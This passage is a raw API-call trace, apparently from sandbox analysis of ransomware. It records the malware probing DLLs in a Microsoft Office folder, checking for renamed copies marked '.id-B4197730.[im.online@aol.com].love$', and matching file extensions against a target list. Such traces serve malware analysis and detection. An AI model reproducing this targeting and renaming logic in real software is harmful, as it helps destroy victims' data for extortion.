dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.782] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11616) returned 1 [0250.783] CloseHandle (hObject=0x45c) returned 1 [0250.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0250.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.783] lstrlenW (lpString=".doc") returned 4 [0250.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.783] lstrlenW (lpString=".docx") returned 5 [0250.783] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.784] lstrlenW (lpString=".pdf") returned 4 [0250.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.784] lstrlenW (lpString=".xls") returned 4 [0250.784] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.784] lstrlenW (lpString=".xlsx") returned 5 [0250.784] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.784] lstrlenW (lpString=".ppt") returned 4 [0250.784] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.784] lstrlenW (lpString=".zip") returned 4 [0250.784] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.784] lstrlenW (lpString=".rar") returned 4 [0250.784] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.784] lstrlenW (lpString=".bz2") returned 4 [0250.784] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.784] lstrlenW (lpString=".7z") returned 3 [0250.784] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.784] lstrlenW (lpString=".dbf") returned 4 [0250.784] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.784] lstrlenW (lpString=".1cd") returned 4 [0250.784] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.784] lstrlenW (lpString=".jpg") returned 4 [0250.784] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.785] lstrlenW (lpString=".doc") returned 4 [0250.785] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.785] lstrlenW (lpString=".docx") returned 5 [0250.785] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.785] lstrlenW (lpString=".pdf") returned 4 [0250.785] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.785] lstrlenW (lpString=".xls") returned 4 [0250.785] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.785] lstrlenW (lpString=".xlsx") returned 5 [0250.785] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.785] lstrlenW (lpString=".ppt") returned 4 [0250.785] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.786] lstrlenW (lpString=".zip") returned 4 [0250.786] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.786] lstrlenW (lpString=".rar") returned 4 [0250.786] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.786] lstrlenW (lpString=".bz2") returned 4 [0250.786] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.786] lstrlenW (lpString=".7z") returned 3 [0250.786] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.786] lstrlenW (lpString=".dbf") returned 4 [0250.786] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.786] lstrlenW (lpString=".1cd") returned 4 [0250.786] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0250.786] lstrlenW (lpString=".jpg") returned 4 [0250.786] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.786] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.786] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0250.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.788] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19648) returned 1 [0250.788] CloseHandle (hObject=0x45c) returned 1 [0250.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0250.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.789] lstrlenW (lpString=".doc") returned 4 [0250.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.789] lstrlenW (lpString=".docx") returned 5 [0250.789] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.789] lstrlenW (lpString=".pdf") returned 4 [0250.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.789] lstrlenW (lpString=".xls") returned 4 [0250.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.789] lstrlenW (lpString=".xlsx") returned 5 [0250.789] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.789] lstrlenW (lpString=".ppt") returned 4 [0250.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.789] lstrlenW (lpString=".zip") returned 4 [0250.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString=".rar") returned 4 [0250.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString=".bz2") returned 4 [0250.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.790] lstrlenW (lpString=".7z") returned 3 [0250.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString=".dbf") returned 4 [0250.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString=".1cd") returned 4 [0250.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString=".jpg") returned 4 [0250.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString=".doc") returned 4 [0250.790] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString=".docx") returned 5 [0250.790] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.790] lstrlenW (lpString=".pdf") returned 4 [0250.790] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString=".xls") returned 4 [0250.790] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString=".xlsx") returned 5 [0250.790] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.790] lstrlenW (lpString=".ppt") returned 4 [0250.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.790] lstrlenW (lpString=".zip") returned 4 [0250.791] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.791] lstrlenW (lpString=".rar") returned 4 [0250.791] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.791] lstrlenW (lpString=".bz2") returned 4 [0250.791] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.791] lstrlenW (lpString=".7z") returned 3 [0250.791] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.791] lstrlenW (lpString=".dbf") returned 4 [0250.791] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.791] lstrlenW (lpString=".1cd") returned 4 [0250.791] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0250.791] lstrlenW (lpString=".jpg") returned 4 [0250.791] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.791] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.791] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0250.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.792] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22720) returned 1 [0250.792] CloseHandle (hObject=0x45c) returned 1 [0250.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0250.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.794] lstrlenW (lpString=".doc") returned 4 [0250.794] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.794] lstrlenW (lpString=".docx") returned 5 [0250.794] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.794] lstrlenW (lpString=".pdf") returned 4 [0250.794] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.794] lstrlenW (lpString=".xls") returned 4 [0250.794] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.794] lstrlenW (lpString=".xlsx") returned 5 [0250.794] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.794] lstrlenW (lpString=".ppt") returned 4 [0250.794] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.794] lstrlenW (lpString=".zip") returned 4 [0250.794] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.794] lstrlenW (lpString=".rar") returned 4 [0250.794] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.795] lstrlenW (lpString=".bz2") returned 4 [0250.795] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.795] lstrlenW (lpString=".7z") returned 3 [0250.795] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.795] lstrlenW (lpString=".dbf") returned 4 [0250.795] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.795] lstrlenW (lpString=".1cd") returned 4 [0250.795] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.795] lstrlenW (lpString=".jpg") returned 4 [0250.795] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.795] lstrlenW (lpString=".doc") returned 4 [0250.795] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.795] lstrlenW (lpString=".docx") returned 5 [0250.795] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.795] lstrlenW (lpString=".pdf") returned 4 [0250.795] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.795] lstrlenW (lpString=".xls") returned 4 [0250.795] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.795] lstrlenW (lpString=".xlsx") returned 5 [0250.795] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.795] lstrlenW (lpString=".ppt") returned 4 [0250.795] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.796] lstrlenW (lpString=".zip") returned 4 [0250.796] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.796] lstrlenW (lpString=".rar") returned 4 [0250.796] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.796] lstrlenW (lpString=".bz2") returned 4 [0250.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.796] lstrlenW (lpString=".7z") returned 3 [0250.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.796] lstrlenW (lpString=".dbf") returned 4 [0250.796] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.796] lstrlenW (lpString=".1cd") returned 4 [0250.796] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0250.796] lstrlenW (lpString=".jpg") returned 4 [0250.796] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.796] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.796] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0250.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.798] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19136) returned 1 [0250.798] CloseHandle (hObject=0x45c) returned 1 [0250.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0250.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".doc") returned 4 [0250.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString=".docx") returned 5 [0250.799] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.799] lstrlenW (lpString=".pdf") returned 4 [0250.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString=".xls") returned 4 [0250.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString=".xlsx") returned 5 [0250.799] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.799] lstrlenW (lpString=".ppt") returned 4 [0250.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".zip") returned 4 [0250.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString=".rar") returned 4 [0250.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString=".bz2") returned 4 [0250.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.799] lstrlenW (lpString=".7z") returned 3 [0250.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".dbf") returned 4 [0250.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".1cd") returned 4 [0250.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".jpg") returned 4 [0250.799] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.799] lstrlenW (lpString=".doc") returned 4 [0250.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString=".docx") returned 5 [0250.800] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.800] lstrlenW (lpString=".pdf") returned 4 [0250.800] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString=".xls") returned 4 [0250.800] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString=".xlsx") returned 5 [0250.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.800] lstrlenW (lpString=".ppt") returned 4 [0250.800] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0250.800] lstrlenW (lpString=".zip") returned 4 [0250.800] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString=".rar") returned 4 [0250.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.800] lstrlenW (lpString=".bz2") returned 4 [0250.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.116] lstrlenW (lpString=".7z") returned 3 [0251.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0251.117] lstrlenW (lpString=".dbf") returned 4 [0251.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0251.117] lstrlenW (lpString=".1cd") returned 4 [0251.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0251.117] lstrlenW (lpString=".jpg") returned 4 [0251.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.117] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.117] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36 [0251.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.361] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=49368) returned 1 [0251.361] CloseHandle (hObject=0x45c) returned 1 [0251.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0251.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.362] lstrlenW (lpString=".doc") returned 4 [0251.362] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.362] lstrlenW (lpString=".docx") returned 5 [0251.362] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0251.362] lstrlenW (lpString=".pdf") returned 4 [0251.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.362] lstrlenW (lpString=".xls") returned 4 [0251.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 